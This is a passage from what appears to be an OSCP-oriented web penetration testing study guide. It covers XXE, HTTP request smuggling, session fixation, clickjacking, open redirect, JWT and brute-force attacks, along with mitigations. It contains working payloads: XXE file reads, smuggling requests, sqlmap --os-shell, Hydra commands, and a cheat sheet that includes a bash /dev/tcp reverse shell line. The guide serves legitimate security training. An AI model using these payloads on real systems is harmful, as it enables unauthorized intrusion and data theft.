    <!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
]>
<data>&e;</data>

XXE via SOAP and XHTML

SOAP XXE:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <method>
            <param>
                <?xml version="1.0"?>
                <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
                <data>&xxe;</data>
            </param>
        </method>
    </soap:Body>
</soap:Envelope>

XXE Detection Methods

Method Description
Error Messages Parser errors reveal XXE processing
File Content in Response /etc/passwd content appears in response
Time Delays Internal file access causes delays
DNS/HTTP Requests Out-of-band channel receives data
Parameter Entities % entities trigger processing

XXE Mitigation

Strategy Implementation
Disable External Entities Configure parser to reject external entities
Use JSON Instead Avoid XML where possible
Validate Input Strict XML schema validation
Use Safe Parsers libxml2 with LIBXML_NOENT disabled
WAF Rules Block DOCTYPE declarations in input

Language-Specific Mitigations:

Language Safe Configuration
Java factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)
Python (lxml) parser = etree.XMLParser(resolve_entities=False)
PHP libxml_disable_entity_loader(true)
.NET XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit

12. HTTP Request Smuggling

HTTP request smuggling occurs when different components of a web application interpret HTTP requests differently, allowing an attacker to craft requests that are processed unexpectedly.

HTTP Request Smuggling Types

Type Mechanism Description
CL.TE Frontend uses Content-Length, backend uses Transfer-Encoding Mismatch in length parsing
TE.CL Frontend uses Transfer-Encoding, backend uses Content-Length Reverse mismatch
TE.TE Both use Transfer-Encoding but parse differently Chunk parsing mismatch

CL.TE Smuggling

Technical Explanation:

  • Frontend proxy reads request based on Content-Length
  • Backend server reads request based on Transfer-Encoding
  • Attacker crafts request where the two interpretations differ

Payload:

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

GET /secret HTTP/1.1
Host: target.com

Explanation:

  • Frontend sees Content-Length: 13, reads Transfer-Encoding: chunked\r\n as body
  • Backend sees Transfer-Encoding: chunked, reads 0\r\n\r\n as end of chunks
  • The GET /secret request is interpreted as a new request by the backend

TE.CL Smuggling

Payload:

POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

5
POST /
secret HTTP/1.1
Host: target.com
Content-Length: 0

0

HTTP Request Smuggling Attack Flow

sequenceDiagram
    participant A as Attacker
    participant F as Frontend (Load Balancer/Proxy)
    participant B as Backend Server

    A->>F: Crafted request with CL/TE mismatch
    Note over A,F: Content-Length: 13<br/>Transfer-Encoding: chunked
    F->>F: Parses using Content-Length
    F->>B: Forwards remaining as new request
    Note over F,B: Frontend thinks request is complete
    B->>B: Parses using Transfer-Encoding
    B->>B: Interprets smuggled request
    B-->>A: Response to smuggled request

Smuggling Detection Techniques

Technique Method Indicator
Response Timing Send CL.TE with delay Delayed response indicates smuggling
Cookie Desync Set unique cookie, check response Cookie appears in wrong response
Status Code Check for unexpected codes 400, 408, or 200 with wrong content
h2c Smuggling HTTP/2 to HTTP/1.1 Protocol mismatch exploitation

Smuggling Exploitation Scenarios

Scenario Impact Method
Cache Poisoning Serve malicious content Smuggle request into cache
Session Hijacking Steal user sessions Desync to intercept responses
WAF Bypass Evade security controls Smuggle malicious payload
Account Takeover Access other users’ accounts Intercept authentication flows
SSRF Amplification Internal network access Smuggle

HTTP Request Smuggling Mitigation

Strategy Implementation
Consistent Configuration Ensure all components parse HTTP the same way
Remove Transfer-Encoding Disable chunked transfer encoding at proxy
Input Validation Reject requests with both CL and TE headers
Update Components Patch known smuggling vulnerabilities
Use HTTP/2 Properly Ensure consistent HTTP/2 handling

13. Session Hijacking and Fixation

Session hijacking involves stealing a valid session token to impersonate a user. Session fixation involves forcing a user to use a known session ID.

Session Management Overview

Component Description Common Implementation
Session ID Unique identifier for user session Random string in cookie
Session Store Server-side session data Memory, database, Redis
Session Cookie Client-side session reference PHPSESSID, JSESSIONID, connect.sid
Session Timeout Duration of session validity 15-30 minutes typical

Session Hijacking Methods

Method Description Difficulty
Cookie Theft (XSS) Steal cookie via cross-site scripting Medium
Network Sniffing Capture cookie over unencrypted connection Easy (if no HTTPS)
Session Prediction Predict session ID generation Hard (if proper RNG)
Cross-Site Scripting Inject script to read cookies Medium
Server Vulnerability Exploit server to access session store Hard
Man-in-the-Middle Intercept traffic between client and server Medium

Session Fixation

Technical Explanation:

  • Attacker sets the victim’s session ID to a known value
  • Victim authenticates with the known session ID
  • Attacker uses the same session ID to access the authenticated session

Exploitation Steps:

  1. Obtain a valid session ID from the application
  2. Craft URL with the session ID: https://target.com/?PHPSESSID=known_id
  3. Send the URL to the victim (phishing)
  4. Victim clicks link and logs in
  5. Victim’s session is now associated with the known ID
  6. Attacker uses PHPSESSID=known_id to access the session
Attribute Purpose Recommended Value
Secure Cookie sent only over HTTPS Secure
HttpOnly Cookie inaccessible to JavaScript HttpOnly
SameSite Restrict cross-site cookie sending Strict or Lax
Domain Limit cookie to specific domain Exact domain (no leading dot)
Path Limit cookie to specific path Most restrictive path
Expires/Max-Age Set cookie expiration Short duration

Session Security Testing Checklist

Test Method Tool
Cookie Security Flags Check Set-Cookie headers Burp Suite, browser dev tools
Session ID Entropy Analyze session ID randomness Custom script, entropy calculator
Session Timeout Leave session idle, test validity Manual testing
Session Regeneration Check if SID changes after login Burp Suite
Logout Functionality Verify session invalidated on logout Manual testing
Concurrent Sessions Test multiple sessions per user Multiple browser instances

Session Hijacking Mitigation

Strategy Implementation
Secure Cookie Flags Set Secure, HttpOnly, SameSite
Session Regeneration Generate new SID after authentication
HTTPS Only Enforce HTTPS for all sessions
Short Session Timeout Invalidate sessions after inactivity
Bind Session to Attributes Tie session to IP, User-Agent
Monitor Session Anomalies Alert on unusual session behavior

14. Clickjacking

Clickjacking tricks a user into clicking on something different from what they perceive, by overlaying a transparent malicious UI element on top of a legitimate page.

Clickjacking Technical Explanation

  • Attacker embeds target site in an iframe
  • The iframe is made transparent or visually deceptive
  • User interacts with what they think is the attacker’s page
  • Their clicks actually hit elements on the embedded target page

Clickjacking Attack Flow

flowchart LR
    A[Attacker creates page] --> B[Embeds target in invisible iframe]
    B --> C[Adds deceptive UI overlay]
    C --> D[Sends link to victim]
    D --> E[Victim clicks deceptive button]
    E --> F[Click actually hits iframe element]
    F --> G[Unwanted action performed on target]

Clickjacking Payload

<html>
<head>
    <title>Click to Win!</title>
    <style>
        iframe {
            opacity: 0;
            width: 800px;
            height: 600px;
            position: absolute;
            top: 0;
            left: 0;
            z-index: 1;
        }
        .decoy-button {
            position: absolute;
            top: 200px;
            left: 300px;
            z-index: 2;
            padding: 15px 30px;
            background: green;
            color: white;
            font-size: 20px;
            cursor: pointer;
        }
    </style>
</head>
<body>
    <h1>Congratulations! You won a prize!</h1>
    <button class="decoy-button">Click Here to Claim</button>
    <iframe src="https://target.com/account/delete"></iframe>
</body>
</html>

Clickjacking Protection Methods

Method Implementation Bypass Possibility
X-Frame-Options X-Frame-Options: DENY Can be bypassed in some browsers
X-Frame-Options X-Frame-Options: SAMEORIGIN Allows same-origin framing
CSP frame-ancestors Content-Security-Policy: frame-ancestors 'self' More flexible, recommended
JavaScript Detection if (top !== self) top.location = self.location Can be bypassed
proto frame guard Override iframe behavior Complex to bypass

Clickjacking Mitigation

Strategy Implementation
X-Frame-Options Header Set to DENY or SAMEORIGIN
CSP frame-ancestors Restrict who can frame your page
JavaScript Frame Busting Detect and escape framing
Avoid Sensitive Actions via Click Use confirmation dialogs, CAPTCHA

15. Open Redirect

Open redirect occurs when an application redirects users to an external URL without validation. Attackers exploit this to create credible phishing URLs.

Open Redirect Technical Explanation

  • Application accepts a URL parameter for redirection
  • No validation that the URL belongs to a trusted domain
  • Attacker crafts URL pointing to malicious site
  • Victims trust the URL because it starts with the legitimate domain

Common Open Redirect Patterns

Pattern Example Bypass
Direct URL /redirect?url=http://evil.com Direct exploitation
Double slash /redirect?url=//evil.com Protocol-relative URL
Backslash /redirect?url=\evil.com Backslash instead of slash
URL encoding /redirect?url=http%3A%2F%2Fevil.com Encoded protocol
Tab/Newline /redirect?url=http%09://evil.com Whitespace injection
Whitespace /redirect?url=http%20://evil.com Space before protocol
Dot prefix /redirect?url=.//evil.com Leading dots
Null byte /redirect?url=http://evil.com%00.legit.com Null byte injection
Long parameter /redirect?url=http://evil.com?a= + long string Truncation bypass

Open Redirect Exploitation

Basic Exploitation:

https://legit.com/login?next=http://evil.com/phishing

Advanced Bypass Chains:

# Double encoding
https://legit.com/login?next=http%253a%252f%252fevil.com

# Protocol-relative
https://legit.com/login?next=//evil.com

# JavaScript protocol
https://legit.com/login?next=javascript:alert(document.cookie)

# Data URI
https://legit.com/login?next=data:text/html,<script>alert(1)</script>

# Backslash bypass
https://legit.com/login?next=\evil.com

# Tab character
https://legit.com/login?next=http%09://evil.com

Open Redirect Mitigation

Strategy Implementation
Whitelist Domains Only redirect to approved domains
Path-Only Redirects Accept only paths, not full URLs
Default Redirect Redirect to default page if URL invalid
Prefix Check Verify URL starts with expected domain
Use Relative URLs Store and use relative paths only
Remove Redirect Feature Eliminate unnecessary redirect functionality

16. Business Logic Flaws

Business logic flaws occur when the application’s business rules are not properly enforced. These vulnerabilities cannot be detected by automated tools alone.

Business Logic Flaw Categories

Category Description Example
Workflow Bypass Skip required steps in a process Skip payment in checkout flow
State Manipulation Modify application state illegally Change order status manually
Price Manipulation Alter prices in requests Change item price to $0.01
Quantity Manipulation Set negative or unusual quantities Order -1 items for refund
Race Conditions Exploit timing in concurrent operations Double-spend, double-click
Parameter Tampering Modify hidden or client-side parameters Change user role to admin

Common Business Logic Attack Scenarios

E-Commerce Price Manipulation:

# Original request
POST /api/cart/add HTTP/1.1
Content-Type: application/json

{
    "product_id": 1234,
    "quantity": 1,
    "price": 99.99
}

# Manipulated request
POST /api/cart/add HTTP/1.1
Content-Type: application/json

{
    "product_id": 1234,
    "quantity": 1,
    "price": 0.01
}

Workflow Bypass:

Normal Flow:    Browse → Add to Cart → Checkout → Payment → Confirmation
Attacker Flow:  Browse → Add to Cart → [Skip Payment] → Confirmation

Race Condition Exploitation:

# Send multiple requests simultaneously to exploit race condition
for i in {1..10}; do
    curl -X POST http://target.com/api/transfer \
        -d '{"from":"account1","to":"account2","amount":100}' &
done
wait

Business Logic Testing Approach

Step Action Notes
1 Map the application flow Understand all user journeys
2 Identify business rules What should and shouldn’t be allowed
3 Test each step Try to skip, reorder, or modify steps
4 Manipulate parameters Change values, types, and formats
5 Test edge cases Zero, negative, maximum values
6 Test concurrency Race conditions, parallel requests
7 Test role boundaries What can different roles do

Business Logic Flaw Mitigation

Strategy Implementation
Server-Side Validation Validate all business rules on the server
State Machine Enforcement Enforce valid state transitions
Audit Logging Log all business-critical operations
Rate Limiting Prevent abuse through throttling
Idempotency Keys Prevent duplicate operations
Comprehensive Testing Manual testing of all business flows

17. Authentication Bypass Techniques

Authentication bypass allows an attacker to gain access to an application without valid credentials.

Authentication Bypass Methods

Method Description Example
SQL Injection Inject SQL to bypass login ' OR '1'='1' --
Default Credentials Use default username/password admin:admin
Weak Passwords Brute force weak passwords password123, admin
Password Reset Abuse Exploit reset token weakness Predictable tokens
JWT Manipulation Tamper with JWT tokens Change algorithm to none
SSRF Access internal auth services Bypass via internal API
Parameter Pollution Duplicate parameters user=admin&user=attacker
Type Confusion Change parameter type user["id"]=1 instead of user_id=1
Null Byte Truncate comparison admin%00
Case Sensitivity Exploit case-insensitive comparison Admin vs admin

JWT Authentication Bypass

Technical Explanation:

  • JSON Web Tokens (JWT) are used for stateless authentication
  • Tokens contain a header, payload, and signature
  • Attackers can manipulate any part of the token

Common JWT Attacks:

Attack Description Exploitation
Algorithm None Token with no signature Change alg to none
Algorithm Confusion RS256 to HS256 Use public key as HMAC secret
Weak Secret Brute force JWT secret Use jwtcrack tool
Kid Header Injection Control key lookup path Set kid to file path
JWK Header Injection Inject custom signing key Embed key in JWT header
Payload Manipulation Modify claims Change role to admin

JWT None Algorithm Attack:

import jwt

# Create unsigned JWT
payload = {"sub": "admin", "role": "administrator"}
token = jwt.encode(payload, key=None, algorithm="none")
print(token)
# Use this token in Authorization header

Authentication Bypass via Parameter Manipulation

Technique Original Manipulated Result
Boolean response {"authenticated": false} {"authenticated": true} Auth bypass
Type confusion user_id=1001 user_id=["1"] SQL/NoSQL injection
Null byte username=admin username=admin%00 Truncation bypass
Extra parameters username=user&pass=pass username=user&pass=pass&is_admin=true Privilege escalation
JSON injection {"username":"user"} {"username":"user","role":"admin"} Role manipulation

Authentication Mitigation

Strategy Implementation
Multi-Factor Authentication Require second factor for login
Strong Password Policy Enforce complexity and length
Account Lockout Lock after failed attempts
Secure JWT Configuration Use strong algorithms, rotate secrets
Rate Limiting Limit login attempts per time window
Session Management Secure session handling and timeout

18. Brute Force and Credential Stuffing

Brute force attacks try many credential combinations to gain unauthorized access. Credential stuffing uses leaked credentials from other breaches.

Attack Type Comparison

Aspect Brute Force Credential Stuffing Dictionary Attack
Method Try all combinations Use leaked credential lists Try common passwords
Target Single account Many accounts Single or multiple accounts
Speed Slow (combinatorial) Fast (automated) Medium
Detection Easy (many failures) Hard (distributed) Medium
Prevention Account lockout CAPTCHA, MFA Strong password policy

Brute Force Tools

Tool Purpose Key Features
Hydra Online password cracking Multi-protocol support
Medusa Online password cracking Fast, parallel connections
Burp Suite Intruder Web-specific attacks Integrated with proxy
ffuf Fuzzing tool Fast, flexible
Gobuster Directory/file brute force Web content discovery
Ncrack Network cracking SSH, RDP, SMB support

Hydra Usage Examples

# SSH brute force
hydra -l admin -P /path/to/wordlist.txt ssh://target.com

# HTTP POST form brute force
hydra -l admin -P /path/to/wordlist.txt https://target.com http-post-form "/login:user=^USER^&pass=^PASS^:Invalid credentials"

# HTTP GET brute force
hydra -l admin -P /path/to/wordlist.txt https://target.com http-get "/admin?user=^USER^&pass=^PASS^"

# Multiple protocols
hydra -L users.txt -P passwords.txt -t 16 -vV target.com http-post-form "/login:username=^USER^&password=^PASS^:login failed"

Burp Suite Intruder for Brute Force

Setup Steps:

  1. Capture login request in Burp Proxy
  2. Send to Intruder
  3. Select attack type (Pitchfork, Sniper, Battering Ram, Cluster Bomb)
  4. Define payload positions
  5. Load wordlists
  6. Configure options (thread count, delay, grep matches)
  7. Start attack and analyze results

Attack Types:

Type Description Use Case
Sniper One payload position, one wordlist Single parameter brute force
Battering Ram One wordlist, multiple positions Same credential for user and pass
Pitchfork Multiple positions, parallel wordlists User list + password list (paired)
Cluster Bomb Multiple positions, all combinations User list × password list (cartesian)

Credential Stuffing Defense

Strategy Implementation
CAPTCHA Add CAPTCHA after failed attempts
Rate Limiting Limit requests per IP/account
Account Lockout Lock after N failed attempts
Multi-Factor Authentication Require second factor
Anomaly Detection Detect unusual login patterns
Breach Monitoring Check credentials against known breaches
IP Reputation Block known malicious IPs

19. Essential Tools Reference

Web Application Security Tools

Tool Category Primary Use Installation
Burp Suite Proxy/Scanner Intercept, modify, scan requests burpsuite.com
OWASP ZAP Proxy/Scanner Open-source alternative to Burp zaproxy.org
sqlmap SQL Injection Automated SQLi detection/exploitation pip install sqlmap
XSStrike XSS Automated XSS detection pip install xsstrike
ffuf Fuzzing Fast web fuzzer go install
Gobuster Enumeration Directory/file brute force go install
Nikto Scanner Web server vulnerability scanner nikto -h target
Dirb Enumeration Directory brute force dirb http://target
Wfuzz Fuzzing Flexible web fuzzer pip install wfuzz
Nmap Reconnaissance Port scanning, service detection nmap -sV target

Burp Suite Key Features

Feature Description OSCP Use
Proxy Intercept and modify HTTP requests All web testing
Repeater Resend and modify individual requests Manual exploitation
Intruder Automated attacks (brute force, fuzzing) Credential attacks, parameter fuzzing
Sequencer Analyze session token randomness Session security testing
Decoder Encode/decode data Payload encoding
Comparer Compare responses Detect subtle differences
Scanner (Pro) Automated vulnerability scanning Quick vulnerability discovery
Extender Extend functionality with addons Custom tools and scripts

sqlmap Usage Examples

# Basic SQL injection detection
sqlmap -u "http://target.com/page?id=1" --batch

# Enumerate database
sqlmap -u "http://target.com/page?id=1" --dbs --batch

# Dump specific database
sqlmap -u "http://target.com/page?id=1" -D database_name --tables --batch

# Dump specific table
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump --batch

# OS shell access
sqlmap -u "http://target.com/page?id=1" --os-shell --batch

# Custom injection point
sqlmap -u "http://target.com/page" --data="id=1" --batch

# Cookie-based injection
sqlmap -u "http://target.com/page" --cookie="id=1" --batch

# Header-based injection
sqlmap -u "http://target.com/page" --header="X-Forwarded-For: 127.0.0.1" --level=3 --batch

XSStrike Usage Examples

# Basic XSS scan
xsstrike -u "http://target.com/page?q=test"

# Scan with specific parameter
xsstrike -u "http://target.com/page" -p "q"

# WAF bypass mode
xsstrike -u "http://target.com/page?q=test" --batch --wildcard

# Custom payload
xsstrike -u "http://target.com/page?q=test" --payload="alert(1)"

Tool Selection Matrix

Attack Type Primary Tool Secondary Tools
SQL Injection sqlmap Burp Repeater, manual testing
XSS XSStrike Burp Suite, Dalfox, manual testing
Command Injection Burp Repeater Manual testing, commix
LFI/RFI Burp Repeater Manual testing, ffuf
XXE Burp Repeater Manual testing, custom payloads
SSRF Burp Repeater Manual testing, custom scripts
Brute Force Burp Intruder Hydra, Medusa
Directory Enumeration Gobuster ffuf, Dirb, Dirsearch
Authentication Bypass Burp Suite Manual testing, custom scripts
Session Analysis Burp Sequencer Manual testing, browser dev tools

20. Attack Flow Diagrams

Web Application Attack Methodology

flowchart TD
    A[Reconnaissance] --> B[Technology Identification]
    B --> C[Attack Surface Mapping]
    C --> D[Vulnerability Discovery]
    D --> E{Vulnerability Type}
    
    E -->|Injection| F[SQLi / Command / XXE]
    E -->|XSS| G[Reflected / Stored / DOM]
    E -->|Access Control| H[IDOR / Privilege Escalation]
    E -->|File Operations| I[LFI / RFI / Path Traversal]
    E -->|Server-Side| J[SSRF / Deserialization]
    E -->|Authentication| K[Brute Force / Bypass]
    E -->|Session| L[Hijacking / Fixation]
    E -->|Logic| M[Business Logic Flaws]
    
    F --> N[Exploitation]
    G --> N
    H --> N
    I --> N
    J --> N
    K --> N
    L --> N
    M --> N
    
    N --> O[Post-Exploitation]
    O --> P[Privilege Escalation]
    P --> Q[Pivoting]
    Q --> R[Domain Admin / Root]

SQL Injection Attack Flow

flowchart TD
    A[Identify injection point] --> B[Test for SQLi]
    B --> C{Error-based?}
    C -->|Yes| D[Extract data via errors]
    C -->|No| E{Boolean-based?}
    E -->|Yes| F[Extract data via true/false]
    E -->|No| G{Time-based?}
    G -->|Yes| H[Extract data via delays]
    G -->|No| I[Not vulnerable]
    D --> J[Enumerate database]
    F --> J
    H --> J
    J --> K[Extract tables]
    K --> L[Extract columns]
    L --> M[Dump data]
    M --> N{OS access possible?}
    N -->|Yes| O[Get OS shell]
    N -->|No| P[Use extracted data]

XSS Exploitation Chain

flowchart TD
    A[Find input point] --> B[Test basic payload]
    B --> C{Reflected?}
    C -->|Yes| D[Reflected XSS]
    C -->|No| E{Stored?}
    E -->|Yes| F[Stored XSS]
    E -->|No| G{DOM-based?}
    G -->|Yes| H[DOM XSS]
    G -->|No| I[Not vulnerable]
    
    D --> J[Craft payload]
    F --> J
    H --> J
    
    J --> K{Goal?}
    K -->|Cookie theft| L[document.cookie exfil]
    K -->|Keylogging| M[Keyboard capture script]
    K -->|Phishing| N[Login form overlay]
    K -->|CSRF| O[Auto-submit form]
    K -->|BeEF| P[Hook into BeEF framework]
    
    L --> Q[Deliver to victim]
    M --> Q
    N --> Q
    O --> Q
    P --> Q

Post-Exploitation Web to System

flowchart TD
    A[Web Shell / RCE] --> B[Identify OS and User]
    B --> C[Enumerate System]
    C --> D{Local Privilege Escalation?}
    D -->|Yes| E[Exploit LPE]
    D -->|No| F[Pivot to other systems]
    E --> G[Root / Admin Access]
    F --> H[Network Scanning]
    H --> I[Target Internal Systems]
    G --> J[Domain Enumeration]
    J --> K[Domain Admin Attack]
    I --> K
    K --> L[Full Network Compromise]

Quick Reference: Payload Cheat Sheet

SQL Injection Quick Payloads

-- Union-based
' UNION SELECT 1,2,3--
' UNION SELECT username,password FROM users--

-- Boolean-based
' OR '1'='1
' AND 1=1--
' AND 1=2--

-- Time-based
'; WAITFOR DELAY '0:0:5'--
'; SELECT SLEEP(5)--

-- Error-based
' AND (SELECT * FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--

XSS Quick Payloads

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
javascript:alert(1)

Command Injection Quick Payloads

; id
| id
$(id)
`id`
; cat /etc/passwd
| whoami
&& uname -a
; bash -i >& /dev/tcp/10.10.14.1/4443 0>&1

LFI Quick Payloads

../../../../etc/passwd
php://filter/convert.base64-encode/resource=config.php
php://input
expect://id
data://text/plain,<?php system('id'); ?>

XXE Quick Payloads

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

OSCP Exam Tips for Web Attacks

Tip Description
Enumerate First Always map the attack surface before attacking
Use Burp Effectively Master Proxy, Repeater, and Intruder
Manual Over Automated Manual testing finds what tools miss
Document Everything Keep notes for your report
Think Like a Developer Understand how the application works
Follow the Data Trace user input through the application
Don’t Skip Basics Default credentials, directory listing, error messages
Time Management Don’t spend too long on one vulnerability
Pivot Early Use web access to scan internal networks
Read Source Code If accessible, review application source

References and Further Reading

Resource URL Focus
OWASP Top 10 owasp.org/www-project-top-ten/ Vulnerability categories
PortSwigger Web Security Academy portswigger.net/web-security Hands-on labs
OWASP Testing Guide owasp.org/www-project-web-security-testing-guide/ Methodology
PayloadsAllTheThings swisskyrepo.github.io/PayloadsAllTheThings/ Payload collection
HackTricks hacktricks.xyz Comprehensive cheat sheet
PentesterLab pentesterlab.com Hands-on exercises

This study guide is designed for educational and certification preparation purposes. Always obtain proper authorization before testing any system.